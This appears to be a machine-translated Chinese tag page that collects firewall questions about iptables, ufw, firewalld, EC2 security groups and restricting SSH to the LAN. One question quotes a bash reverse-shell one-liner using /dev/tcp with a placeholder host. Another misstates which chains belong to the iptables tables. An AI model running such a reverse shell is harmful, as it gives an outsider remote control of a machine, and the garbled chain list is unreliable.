标签: firewall

我们将向服务器部署一个新应用程序，该应用程序将侦听端口 8443。在部署应用程序之前，我们已要求网络团队打开该服务器上端口 8443 的防火墙。当前没有应用程序正在侦听服务器上的该特定端口。

无论如何我可以确保为端口 8443 打开防火墙

操作系统：Linux/Windows

我知道一定范围的 IP 地址导致我的服务器出现问题，172.64.*.*阻止访问我的 Amazon EC2 实例的最佳方法是什么？有没有办法使用安全组来做到这一点，或者最好使用服务器本身的防火墙来做到这一点？

我知道 linux 有 3 个内置表，每个表都有自己的链，如下所示：

过滤器：路由前、转发、后路由

NAT：预路由、输入、输出、后路由

MANGLE：预路由、输入、转发、输出、后路由

但我无法理解它们是如何遍历的，如果有的话，以什么顺序。例如，它们在以下情况下如何遍历：

1. 我将数据包发送到同一本地网络中的一台电脑
2. 当我向不同网络中的 PC 发送数据包时
3. 当网关收到一个数据包并且必须转发它时
4. 当我收到寄给我的包裹时
5. 任何其他情况（如果有）

您是否需要运行以下任何命令：

sudo ufw reload
sudo ufw disable
sudo ufw enable

通过添加规则后sudo ufw allow？

如何在 LAN 中的系统上设置防火墙，以便某些端口仅对来自局域网的连接开放，而不对来自外部世界的连接开放？

例如，我有一个运行Scientific Linux 6.1（基于 RHEL 的发行版）的机器，我希望它的 SSH 服务器只接受来自本地主机或 LAN 的连接。我该怎么做呢？

直接编辑这个文件

/etc/sysconfig/iptables 

可以为我节省这么多头痛的时间等等......

然而在文件的最顶部它说..

Manual customization of this file is not recommended.

这是一个全新的 centos 6.4 云服务器附带的“/etc/sysconfig/iptables”。

# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A INPUT -j REJECT --reject-with …

我一直在阅读，但似乎无法找到一种方法来创建每个进程的防火墙规则。我知道，iptables --uid-owner但这仅适用于传出流量。我已经考虑过编写脚本netstat，iptables但这似乎非常低效，因为如果一个进程只在很短的时间内处于活动状态，脚本可能会错过它。基本上，我想对进程强制执行有关端口和 dst 的特定限制，同时不影响其他进程。有任何想法吗？

作为参考，selinux 可以做到这一点，而且效果很好。不过设置有点麻烦。

在CentOS 7服务器中，我输入firewall-cmd --list-all，它给了我以下信息：

public (default, active)
  interfaces: enp3s0
  sources: 
  services: dhcpv6-client https ssh
  ports: 
  masquerade: no
  forward-ports: 
  icmp-blocks: 
  rich rules:

什么是 dhcpv6-client 服务？它有什么作用？删除它有什么影响？

我阅读了 维基百科页面dhcpv6，但它没有具体告诉我该服务的用途CentOS 7 Firewalld。

该服务器可通过https和emailvia访问mydomain.com，但它是一个私有服务器，只能通过https已知ip地址列表访问。此外，该服务器可以接收来自已知电子邮件地址列表的电子邮件。是否dhcpv6-client需要该服务来协调已知ip https请求中的域地址以及与已知电子邮件地址交换电子邮件？

我试过

bash -i >& /dev/tcp/HOST/PORT 0>&1

但它似乎在防火墙后面不起作用。这段代码实际上做了什么，转发了哪些端口，它可以在防火墙后面工作吗？

我正在使用带有 KDE 的 Debian 9.1，我想知道为什么它没有安装和默认启用防火墙？gufw 甚至不在 DVD1 的软件包中。

人们是否希望在获得防火墙之前连接到 Internet ？为什么？即使默认情况下所有端口都关闭，各种已安装、更新或下载的程序也可以打开它们（或不打开？），我希望在未经我许可的情况下，我的机器一丁点都没有。

编辑：所以我刚刚发现了iptables，但我想这个问题仍然是 iptables，因为防火墙似乎对大多数人来说是相当陌生的，它的默认规则，它的可访问性和易用性以及默认情况下任何 iptable-rules 都被重置的事实在重新启动。